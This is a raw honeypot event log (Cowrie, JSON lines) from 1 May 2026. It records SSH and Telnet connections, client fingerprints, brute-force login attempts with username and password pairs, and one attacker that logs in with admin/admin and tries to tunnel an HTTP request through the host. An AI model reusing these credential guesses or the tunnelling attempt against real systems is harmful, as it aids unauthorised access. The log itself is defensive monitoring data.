{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":53402,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e4cc9f499d","protocol":"ssh","message":"New connection: 148.230.169.229:53402 (10.17.0.5:22) [session: 32e4cc9f499d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:41.476299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:42.308531Z","src_ip":"148.230.169.229","session":"32e4cc9f499d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:42.370162Z","src_ip":"148.230.169.229","session":"32e4cc9f499d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"123456789","message":"login attempt [ts3bot/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:42.671714Z","src_ip":"148.230.169.229","session":"32e4cc9f499d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:43.739291Z","src_ip":"148.230.169.229","session":"32e4cc9f499d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf00999dcc1","protocol":"telnet","message":"New connection: 185.26.126.47:52508 (159.203.135.109:23) [session: cbf00999dcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:06.189245Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41224,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c5b7a6c2fc","protocol":"ssh","message":"New connection: 2.57.121.112:41224 (159.203.135.109:22) [session: d5c5b7a6c2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:09.095505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:09.103221Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:09.204611Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180874","message":"login attempt [admin/180874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:09.687153Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18081967","message":"login attempt [admin/18081967] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:10.791471Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180785","message":"login attempt [admin/180785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:11.895979Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180691","message":"login attempt [admin/180691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:13.001418Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18061971","message":"login attempt [admin/18061971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:14.105929Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:15.208884Z","src_ip":"2.57.121.112","session":"d5c5b7a6c2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64c5e60df4c","protocol":"ssh","message":"New connection: 45.148.10.121:58816 (10.17.0.5:22) [session: d64c5e60df4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.421011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.427314Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.513034Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.769979Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.857789Z","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.945535Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:16.949296Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.037891Z","src_ip":"45.148.10.121","session":"d64c5e60df4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58832,"dst_ip":"10.17.0.5","dst_port":22,"session":"004565ffec27","protocol":"ssh","message":"New connection: 45.148.10.121:58832 (10.17.0.5:22) [session: 004565ffec27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.114765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.120393Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.204067Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.461872Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.548406Z","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.633384Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.637083Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:17.725172Z","src_ip":"45.148.10.121","session":"004565ffec27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.994834184646606,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:24.703150Z","src_ip":"185.26.126.47","session":"c7572dff644f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.288859367370605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:49.477994Z","src_ip":"185.26.126.47","session":"cbf00999dcc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0013701915741,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:52.137597Z","src_ip":"31.43.241.152","session":"11e1daa75eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":42676,"dst_ip":"159.203.135.109","dst_port":23,"session":"de3e2f9547c6","protocol":"telnet","message":"New connection: 31.43.241.152:42676 (159.203.135.109:23) [session: de3e2f9547c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:52.429451Z"}
{"eventid":"cowrie.session.closed","duration":120.00169157981873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:52.598604Z","src_ip":"31.43.241.152","session":"18c2827556f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":42700,"dst_ip":"159.203.135.109","dst_port":23,"session":"8832163b33a1","protocol":"telnet","message":"New connection: 31.43.241.152:42700 (159.203.135.109:23) [session: 8832163b33a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:19:52.877061Z"}
{"eventid":"cowrie.session.closed","duration":120.015958070755,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:21:52.445299Z","src_ip":"31.43.241.152","session":"de3e2f9547c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":50570,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c505478e0d8","protocol":"telnet","message":"New connection: 31.43.241.152:50570 (159.203.135.109:23) [session: 0c505478e0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:21:52.866398Z"}
{"eventid":"cowrie.session.closed","duration":120.0014865398407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:21:52.878432Z","src_ip":"31.43.241.152","session":"8832163b33a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":50678,"dst_ip":"159.203.135.109","dst_port":23,"session":"0536211db58c","protocol":"telnet","message":"New connection: 31.43.241.152:50678 (159.203.135.109:23) [session: 0536211db58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:21:53.961820Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6d23155b15","protocol":"telnet","message":"New connection: 66.223.49.88:32954 (10.17.0.5:23) [session: 9e6d23155b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:22:41.670119Z"}
{"eventid":"cowrie.session.closed","duration":43.97893691062927,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:25.648968Z","src_ip":"66.223.49.88","session":"9e6d23155b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133752822876,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:52.867636Z","src_ip":"31.43.241.152","session":"0c505478e0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00191378593445,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:53.963645Z","src_ip":"31.43.241.152","session":"0536211db58c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":59186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d526eb98064d","protocol":"telnet","message":"New connection: 31.43.241.152:59186 (159.203.135.109:23) [session: d526eb98064d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:54.559635Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26705,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c969738d75","protocol":"ssh","message":"New connection: 2.57.121.112:26705 (10.17.0.5:22) [session: a2c969738d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:55.400434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:55.405190Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:55.505134Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180874","message":"login attempt [admin/180874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:55.980692Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":59352,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed873072626","protocol":"telnet","message":"New connection: 31.43.241.152:59352 (159.203.135.109:23) [session: 2ed873072626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:57.081401Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18081967","message":"login attempt [admin/18081967] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:57.086622Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180785","message":"login attempt [admin/180785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:58.188912Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180691","message":"login attempt [admin/180691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:23:59.292418Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18061971","message":"login attempt [admin/18061971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:00.394964Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:01.518058Z","src_ip":"2.57.121.112","session":"a2c969738d75","protocol":"ssh"}
